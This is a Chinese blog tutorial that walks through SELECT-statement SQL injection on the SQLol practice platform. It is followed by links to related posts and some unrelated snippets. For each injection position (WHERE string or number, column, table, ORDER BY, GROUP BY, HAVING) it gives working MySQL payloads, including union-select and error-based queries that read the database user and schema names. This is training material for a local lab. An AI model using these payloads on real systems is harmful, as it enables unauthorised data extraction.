SQL注入测试平台 SQLol -2.SELECT注入测试
前面,我们已经安装好了SQLol,打开http://localhost/sql/,首先跳转到http://localhost/sql/select.php,我们先从select模块进行测试。
一条完成Select语句,大致可以这样表示:
SELECT 【username】 FROM 【users】 WHERE username = 【'1'】 GROUP BY 【username】 ORDER BY 【username ASC】 [having 【1=1】 ][limit 【0,1】 ]
接收的参数可能拼接到上述语句中【】的任一个位置。
注射位置不同,构造sql注入语句的方法也有所不同,但大致可以划分为三种。
1、联合查询(union select)
2、报错注入
3、盲注(布尔类型、时间延迟类型)
有的注入点可以同时使用多种方法注入,这里只演示一种。
下面演示注入到不同位置的方法。
一、WHERE 子句里的字符串
Tips:字符型注入;
在注射字符串中输入:admin,显示语句,选择注射位置为,WHERE子句里的字符串,返回的信息为:
SELECT username FROM users WHERE username = 'admin' GROUP BY username ORDER BY username ASC
可以知道我们输入的admin,被拼接到where子句里面,然后我们开始构造POC:
admin' union select user()#
如下图,我们取得数据库用户名(root@localhost),可以将user()替换为其他查询语句查询其他数据。

二、WHERE 子句里的数字
Tips:与上面的WHERE 子句里的字符串类似,所不同的,这是数字型注入;
在注射字符串中输入:1,显示语句,选择注射位置为,WHERE子句里的数据,返回的信息为:
SELECT username FROM users WHERE isadmin = 1 GROUP BY username ORDER BY username ASC
构造POC:
SELECT username FROM users WHERE isadmin = 1 union select user()# GROUP BY username ORDER BY username ASC
如下图,我们取得数据库用户名。

三、整个语句
Tips: 直接可以执行任何sql语句
在注射字符串中输入:select * from users,users为数据库用户表,显示语句,选择注射位置为,整条语句,返回的信息为:
select * from users
可以在这里输入任何的sql语句执行。

四、Column 名称
Tips: 注入位置在username
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、输入字段查询users表,或直接用*代替,查询users表中所有的数据

2、注释掉后面的语句,与select直接拼接,例如:注射字符串位置输入version(),拼接成
SELECT version()# FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
替换version(),输入其他数据库查询语句,可查询其他数据

五、Table 名称
Tips:注射位置在表users
SELECT username FROM users WHERE isadmin = 0 GROUP BY username ORDER BY username ASC
利用方式:
1、输入正确的表名,union select查询
六、ORDER BY 子句
Tips:注射位置在order by
当使用union操作时,排序语句必须放在最后面才正确,就是说只能在union的最后一个子查询中使用order by,因此这里不能用union slect。
利用方式:
报错注入
1 and (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
得到数据库sqlol,可以使用其他语句继续报错注入。
参考资料:http://www.myhack58.com/Article/html/3/7/2013/38704.htm

七、GROUP BY 子句
Tips:注射位置在group by
GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组。
利用方式:
1、与order by 一样,直接报错注入
2、在MSSQL中,可以利用group by , having 进行爆当前列

八、HAVING 子句
Tips:having位置
利用方式:
报错注入

最后
欢迎关注个人微信公众号:Bypass--,每周一篇原创高质量的干货。

SQL注入测试平台 SQLol -2.SELECT注入测试的更多相关文章
- SQL注入测试平台 SQLol -3.INSERT注入测试
访问首页的insert模块,http://127.0.0.1/sql/insert.php,开始对insert模块进行测试. insert语句: INSERT INTO [users] ([usern ...
- SQL注入测试平台 SQLol -5.DELETE注入测试
访问首页的delete模块,http://127.0.0.1/sql/delete.php,开始对delete模块进行测试. delete语法: DELETE FROM [users] WHERE [ ...
- SQL注入测试平台 SQLol -4.UPDATE注入测试
访问首页的update模块http://127.0.0.1/sql/update.php,开始对update模块进行测试. update语法: UPDATE [users] SET [username ...
- SQL注入测试平台 SQLol -1. 简介与安装
最近下载了SQLol测试了一下,感觉挺好玩的,做一下记录. SQLol是一个可配置得SQL注入测试平台,它包含了一系列的挑战任务,让你在挑战中测试和学习SQL注入语句,SQLol还是比较有创意的项目. ...
- SQL注入测试平台 SQLol -6.CHALLENGES挑战
SQLol上面的挑战共有14关,接下来我们一关一关来突破. Challenge 0 目的是让查询返回所有的用户名,而不是只有一个. SELECT username FROM users WHERE u ...
- 《SystemVerilog验证-测试平台编写指南》学习 - 第1章 验证导论
<SystemVerilog验证-测试平台编写指南>学习 - 第1章 验证导论 测试平台(testbench)的功能 方法学基础 1. 受约束的随机激励 2. 功能覆盖率 3. 分层的测试 ...
- 移动APP云测试平台测评分析
随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.有专家预测,2017年的App应用下载量将会突破2500亿,整个移动科技市场规模将会达到770亿美元.身处在这个"移动&quo ...
- 移动app云测试平台
一:移动App云测试平台 1.云测试平台背景 随着智能手机的普及率和渗透率越来越高,App开发软件也越来越多.但是因为安卓和IOS的碎片化,尤其是安卓,因为完全开源的原因,导致设备繁多,品牌众多,版本 ...
- 渗透测试学习 九、 MSsql注入上
MSsql注入漏洞详解 (Asp.Aspx站,常见于棋牌网站.考试网站.大学网站.政府网站.游戏网站.OA办公系统) 大纲:msSQL数据库调用分析 msSQL注入原理 msSQL注入另类玩法 msS ...
随机推荐
- 长理ACM 13-围圈报数(谌海军)
题目标题:围圈报数(谌海军) 题目描述:有n(n<=100)围成一圈,顺序排号(从1排到n).从第一个人开始报数(从1报到m(m<=9)),凡报到m的人退出圈子,问最后留下的是原来第几号的 ...
- Python中的random模块
Python中的random模块用于生成随机数.下面介绍一下random模块中最常用的几个函数. random.random random.random()用于生成一个0到1的随机符点数: 0 < ...
- [转] lib和dll 区别,生成及使用方法
lib 和 dll 的区别.生成以及使用详解 [目录] lib dll介绍 生成动态库 调用动态库 生成静态库 调用静态库 首先介绍一下静态库(静态链接库).动态库(动态链接库)的概念,首先两者都是代 ...
- matlab blkproc
有关blkproc 命令的使用 (2011-07-31 09:52:57) 标签: 杂谈 分类: matlab使用 如果你让matlab帮你计算最好的块大小,用bestblk函数,[MB,NB] = ...
- typedef定义函数类型或函数指针
转载请标明出处: 最近在看redis的代码,发现了有关函数指针的部分,想把它记下来. 在redis中有类似下面的定义,利用typedef 定义了一个新的类型,这种类型是一个函数: typedef vo ...
- xcode 5.0 以上去掉icon高亮方法&iOS5白图标问题
之前的建议方法是把在xxx.info.plist文件中把 icon already includes gloss and bevel effects 设置YES 在Xcode5下,反复实现不成功,今天 ...
- jQuery 动态添加瀑布流
<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title> ...
- Javascript 基础--数组
一.一维数组 1.一维数组 var weights = [3,5,1,3.4,2,50]; var all_weight=0; var avg_weight=0; for(var i=0;i<w ...
- FZU 2072 - Count
题意:给一个数组,每次查询输出区间内数字x出现的次数. 每次查询数字x是与其它数字无关的,所以我们可以以每个数字为索引建立一个链表,里面存放它出现的下标,这里可以保证是递增的.每次查询数字x,就在x的 ...
- iOS上架(转)
自己的经验总结,有错的话请留言,第一时间更改. 先大概说一下IOSAPP上架的几个步骤(详细步骤见下图): 创建证书请求文件 登录苹果开发者中心生成发布者证书(下载下来要双击一下) 设置APPID(要 ...